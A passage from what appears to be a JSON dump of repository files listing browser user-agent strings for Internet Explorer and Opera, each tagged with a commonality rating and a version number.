Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0(compatible; MSIE 7.0; Windows NT 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; MS-RTC LM 8)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MANMJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MSBrowserIE9)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; rv:11.0; SiteKiosk 7.8 Build 332)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENUSMSNIP; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident\\/5.0; IEMobile\\/9.0; NOKIA; 909)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; EIE10;ENUSWOL)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; AskTbORJ\\/5.15.23.36191; EIE11;ENUSMCM)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0;WUID=43B1FA69689B48DFA6462D9BEDCC718C;WTB=6533)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/28.0.1500.95; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; BRI\\/2; msn OptimizedIE8;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 5.1) (http:\\/\\/name911.com)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident\\/5.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; FunWebProducts; AskTbVDJ\\/5.14.1.20007; .NET4.0E; BOIE9;ENUS)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MDDCJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMNTDF; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MAAU; MAAU)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; MATP; MATP)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; MDDRJS)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:RESERVED; .NET CLR 1.1.4322; Tablet PC 2.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0; MSN 9.0;MSN 9.1;MSN 9.6;MSN 10.0;MSN 10.2;MSN 10.5;MSN 11;MSN 11.5;MSN 11.6; MSNbMSNI; MSNmen-us; MSNcOTH) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; GWX:MANAGED; GWX:QUALIFIED)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; GWX:MANAGED)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; .NET4.0E; WebMoney Advisor)\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"http:\\/\\/myip.ms\\/view\\/comp_browseragents\\/23\\/Mozilla_5_0_compatible_MSIE_9_0_Windows_NT_6_0_Trident_5_0.html\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;FRCA; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; chromeframe\\/29.0.1547.76; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 12.01.2010; MS-RTC LM 8; .NET CLR 2.0.50727; lib\\/5.0\\\\0195; Engine\\/4.00195; 89670803)\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2; MS-RTC LM 8; MS-RTC S; .NET CLR 1.1.4322)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; ARM; Trident\\/7.0; Touch; rv:11.0; WPDesktop; NOKIA; Lumia 521) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident\\/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENAU; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident\\/5.0)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; FunWebProducts; yie11; rv:11.0) like Gecko\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BRI\\/2)\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"}]"
  },
  {
    "path": "User Agents/json/opera.json",
    "content": "[{\"commonality\":\"Very common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Very common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Very common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Very common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Very common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.991\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.52\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.78 Safari\\/537.36 OPR\\/47.0.2631.39\"},{\"commonality\":\"Common\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Common\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Linux; Android; 4.1.2; GT-I9100 Build\\/000000) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1234.12 Mobile Safari\\/537.22 OPR\\/14.0.123.123\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Common\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36 OPR\\/32.0.1948.25\"},{\"commonality\":\"Common\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; en) Presto\\/2.12.423 Version\\/12.16\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; U; en) Opera 8.01\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]\"},{\"commonality\":\"Common\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.10.5) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Common\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.80\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36 OPR\\/26.0.1656.60\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Average\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36 OPR\\/26.0.1656.60\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux zvav; U; en) Presto\\/2.8.119 Version\\/11.10\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Average\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Average\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36 OPR\\/38.0.2220.41\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.10.289 Version\\/12.01\"},{\"commonality\":\"Average\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36 OPR\\/36.0.2130.80\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; Ubuntu\\/14.10) Presto\\/2.12.388 Version\\/12.16\"},{\"commonality\":\"Average\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36 OPR\\/50.0.2762.67\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Average\",\"version\":\"11.2\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 5.0.2; zh-CN; Redmi Note 3 Build\\/LRX22G) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 OPR\\/11.2.3.102637 Mobile Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2; Win64; x64) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1) Presto\\/2.12.388 Version\\/12.17\"},{\"commonality\":\"Average\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36 OPR\\/51.0.2830.55\"},{\"commonality\":\"Average\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.155 Safari\\/537.36 OPR\\/31.0.1889.174\"},{\"commonality\":\"Average\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64\"},{\"commonality\":\"Average\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36 OPR\\/26.0.1656.60\"},{\"commonality\":\"Average\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; es-ES) Presto\\/2.9.181 Version\\/12.00\"},{\"commonality\":\"Average\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto\\/2.9.168 